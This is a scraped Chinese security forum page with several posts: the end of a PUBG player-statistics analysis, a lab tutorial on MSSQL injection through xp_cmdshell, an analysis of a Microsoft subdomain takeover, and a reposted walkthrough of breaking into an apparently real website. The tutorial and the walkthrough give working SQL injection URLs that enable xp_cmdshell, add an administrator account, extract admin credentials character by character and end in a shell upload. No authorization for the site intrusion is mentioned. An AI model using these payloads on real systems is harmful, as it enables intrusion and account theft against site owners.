笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:



Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436



通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。

SQLServer注入中基于xp_cmdshell的命令执行

wuyou 发表了文章 • 0 个评论 • 86 次浏览 • 2019-04-14 13:44 • 来自相关话题

前提:
getshell或者存在sql注入并且能够执行命令。sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。


实验环境:
sql server 2008
IIS 7.0
存在注入点的asp的Web页面

实验过程:
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。




这个就是我们的实验用注入点

首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

查看是否有xp_cmdshell
http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
成功延时,接下来开启xp_cmdshell

允许修改高级参数
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

打开xp_cmdshell扩展
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题





MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
于是我调整了开启MSSQL服务的账户





命令执行成功




 
Web环境测试:
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

尝试写入文件成功
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
但是可以尝试其他思路
不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

  查看全部
前提:
  1. getshell或者存在sql注入并且能够执行命令。
  2. sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。



实验环境:
sql server 2008
IIS 7.0
存在注入点的asp的Web页面

实验过程:
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。
1.png

这个就是我们的实验用注入点

首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

查看是否有xp_cmdshell
http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
成功延时,接下来开启xp_cmdshell

允许修改高级参数
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

打开xp_cmdshell扩展
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题
2.png


MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
于是我调整了开启MSSQL服务的账户
3.png


命令执行成功
4.png

 
Web环境测试:
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

尝试写入文件成功
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
但是可以尝试其他思路
不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

 

云安全----子域名takeover漏洞原理分析与防御(以微软为例)

sq_smile 发表了文章 • 0 个评论 • 65 次浏览 • 2019-04-08 11:13 • 来自相关话题

0x01、subdomain takeover,子域名劫持/接管。 
0X02、漏洞实例--有趣的测试
某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。





猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
 
确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。





猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
 
确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
0X03 实例分析
查询该网站的DNS记录:C:\Users\ASUS>nslookup learnt.MicroSoft.Com
Server: phicomm.me
Address: 192.168.0.1


Non-authoritative answer:
Name: subdomain-takeover-msrc.wanybug.Com
Address: 47.52.101.203
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net可以得出:Name: subdomain-takeover-msrc.wanybug.Com
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net       由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
       注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net。
       通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:C:\Users\ASUS>nslookup www.dawine.com
Server: google-public-dns-a.google.com
Address: 8.8.8.8


Non-authoritative answer:
Name: dawine1.chinacloudapp.cn
Address: 139.217.132.95
Aliases: www.dawine.com
dawinechinaweb.trafficmanager.cn        可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
0X04  漏洞原理:A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
此时访问shop.a.com 则出现 文本"hacked!"。
0X05    漏洞危害:* 获取Cookie
* 构造页面内容 (包括但不限于钓鱼、广告...)
* 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
* 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
* 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
* 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
* 构造钓鱼页面 - 窃取用户及管理员其他的凭证
* 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
* XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
* 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
* DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
* DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
* 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
* 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
* 挖矿等
*...
总之危害很大。
另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。
0X06    测试方法:1、手工:nslookup
2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500
0X07    防御方案:* 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
* 如果被"抢注" 重新设置域名的CNAME
 
文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
作者:arr0w1
  查看全部
0x01、subdomain takeover,子域名劫持/接管。 
0X02、漏洞实例--有趣的测试
某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。

1---和漏洞师父的聊天.png

猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
 
确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。

2---漏洞示意图.png

猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
 
确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
0X03 实例分析
查询该网站的DNS记录:
C:\Users\ASUS>nslookup learnt.MicroSoft.Com
Server: phicomm.me
Address: 192.168.0.1


Non-authoritative answer:
Name: subdomain-takeover-msrc.wanybug.Com
Address: 47.52.101.203
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net
可以得出:
Name:    subdomain-takeover-msrc.wanybug.Com
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net
       由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
       注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net
       通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:
C:\Users\ASUS>nslookup www.dawine.com
Server: google-public-dns-a.google.com
Address: 8.8.8.8


Non-authoritative answer:
Name: dawine1.chinacloudapp.cn
Address: 139.217.132.95
Aliases: www.dawine.com
dawinechinaweb.trafficmanager.cn
        可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
0X04  漏洞原理
A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
此时访问shop.a.com 则出现 文本"hacked!"。

0X05    漏洞危害
* 获取Cookie
* 构造页面内容 (包括但不限于钓鱼、广告...)
* 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
* 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
* 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
* 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
* 构造钓鱼页面 - 窃取用户及管理员其他的凭证
* 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
* XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
* 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
* DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
* DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
* 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
* 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
* 挖矿等
*...
总之危害很大。
另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。

0X06    测试方法
1、手工:nslookup
2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500

0X07    防御方案
* 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
* 如果被"抢注" 重新设置域名的CNAME

 
文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
作者:arr0w1
 

[转]一次Web渗透经历:从SQL注入到Getshell过程

zake 发表了文章 • 3 个评论 • 142 次浏览 • 2019-04-07 22:00 • 来自相关话题

这是一篇半手注的文章,中间有用Burp来批量跑表名和字段名的,感觉可以学习一下。
以下为转载:
转自:看雪    作者:毅种循环
原文:https://bbs.pediy.com/thread-249188.htm
 
目标站:
http://www.xxxx.org/pro_view.asp?id=1295
1、判断是否存在注入点:






1.1、 and 1=1和and 1=2





 
但是有一些网站是检测到异常也报错,因此还需要进一步检测。
1.2、利用减法5=6-1(数字型)











数据库识别减法,那么可以证明我们的语句执行成功,存在SQL注入。
我尝试了使用SQLMAP此类工具进行注入测试,发现存在注入,但是拒绝执行命令,只能尝试手工注入。
 
2、判断是数字型还是字符型,然后判断是什么数据库2.1、?id=1 and (select count(*) from sysobjects)>0  //正常为mssql,不同为access2.2、?id=1 and (select count(*) from msysobjects)>0   //msysobjects 是access3、爆破表名?id=1295 and exists(select top 1 1 from admin)存在:





 
不存在:





 
手工测试肯定难以确定表和字段,于是使用Burp进行联动爆破,接着就用字典跑其他的表。





 4、爆破字段。?id=1295 and exists(select user_name from admin)存在:





 
不存在:





 



5、跑字段数据。
5.1.长度:?id=1295 and IIF((SELECT TOP 1 LEN(user_name) FROM admin) =?, 1, 0)user_name:





 
password:





 
5.2、字段数据。
user_name第一个字符:?id=1295 and (SELECT TOP 1 asc(mid(user_name,1,1)) FROM admin)=0



 
查ASCII表得到第一个字符为【a】,同样方法得到用户名为admin。
注:这里不用用大于号【>】或小于号【<】来判断,会报错。
password第一个字符:?id=1295 and (SELECT TOP 1 asc(mid(password,1,1)) FROM admin)=99



 
查ASCII表得到第一个字符为【c】





 
同样方法得到密码为:cxxxxxxxxxxxx。MD5解密得到:qxxxxxxxx
但是现在新问题又来了,我没有找到后台,现在还得找一下后台。
 
找后台:
1、爆破






御剑无结果,尝试使用google hacking语法 
2、谷歌





 
偶然发现一枚未授权访问:
http://www.xxxxx.org/boss/news/xxxxxe.asp





 
慢慢测试可以找到其后台。










 
Getshell
上传:





 
抓包直接改后缀:











 完成收工。 查看全部
这是一篇半手注的文章,中间有用Burp来批量跑表名和字段名的,感觉可以学习一下。
以下为转载:
转自:看雪    作者:毅种循环
原文:https://bbs.pediy.com/thread-249188.htm
 
目标站:
http://www.xxxx.org/pro_view.asp?id=1295
1、判断是否存在注入点

784203_7VP726DTTC2VJ7Y.jpg


1.1、 and 1=1和and 1=2

784203_CRTT639MF9VJDVQ.jpg

 
但是有一些网站是检测到异常也报错,因此还需要进一步检测。
1.2、利用减法5=6-1(数字型)

784203_AUNMTZQ3E4UU7G7.jpg


784203_GU24YWASYE6VJDQ.jpg


数据库识别减法,那么可以证明我们的语句执行成功,存在SQL注入。
我尝试了使用SQLMAP此类工具进行注入测试,发现存在注入,但是拒绝执行命令,只能尝试手工注入。
 
2、判断是数字型还是字符型,然后判断是什么数据库
2.1、?id=1 and (select count(*) from sysobjects)>0  
//正常为mssql,不同为access
2.2、?id=1 and (select count(*) from msysobjects)>0   
//msysobjects 是access
3、爆破表名
?id=1295 and exists(select top 1 1 from admin)
存在:

784203_VUF7NZYUXTEDUFR.jpg

 
不存在:

784203_WP3GRTXMWFDXKUX.jpg

 
手工测试肯定难以确定表和字段,于是使用Burp进行联动爆破,接着就用字典跑其他的表。

784203_KGR7HHT9MDP73DW.jpg

 4、爆破字段。
?id=1295 and exists(select user_name from admin)
存在:

784203_RFHNM9AQXU7FK4V.jpg

 
不存在:

784203_S3RTKWM5K42X8WB.jpg

 
784203_BFFZGH4ZPK6A7W3.jpg

5、跑字段数据。
5.1.长度:
?id=1295 and IIF((SELECT TOP 1 LEN(user_name) FROM admin) =?, 1, 0)
user_name:

784203_7VP726DTTC2VJ7Y.jpg

 
password:

784203_43Y6AKBEUXYE39R.jpg

 
5.2、字段数据。
user_name第一个字符:
?id=1295 and (SELECT TOP 1 asc(mid(user_name,1,1)) FROM admin)=0
784203_YYDMR6TSAW4FUAK.jpg

 
查ASCII表得到第一个字符为【a】,同样方法得到用户名为admin。
注:这里不用用大于号【>】或小于号【<】来判断,会报错。
password第一个字符:
?id=1295 and (SELECT TOP 1 asc(mid(password,1,1)) FROM admin)=99
784203_JWX5K9FCJF3XT4S.jpg

 
查ASCII表得到第一个字符为【c】

784203_79F7GHKDPUXW59Q.jpg

 
同样方法得到密码为:cxxxxxxxxxxxx。MD5解密得到:qxxxxxxxx
但是现在新问题又来了,我没有找到后台,现在还得找一下后台。
 
找后台:
1、爆破

784203_C6GBPRUA4CX28SW.jpg


御剑无结果,尝试使用google hacking语法 
2、谷歌

784203_JEW2UECPBKYQP2V.jpg

 
偶然发现一枚未授权访问:
http://www.xxxxx.org/boss/news/xxxxxe.asp

784203_WGWXR6WKT5DW7QC.jpg

 
慢慢测试可以找到其后台。

784203_CRTT639MF9VJDVQ.jpg


784203_FC9VNYEXB7EABBG.jpg

 
Getshell
上传:

784203_PDKGM8XRTAQTTPM.jpg

 
抓包直接改后缀:

784203_NCK959XN2JV2RG3.jpg


784203_WMADCJSDDVVKNGJ.jpg


 完成收工。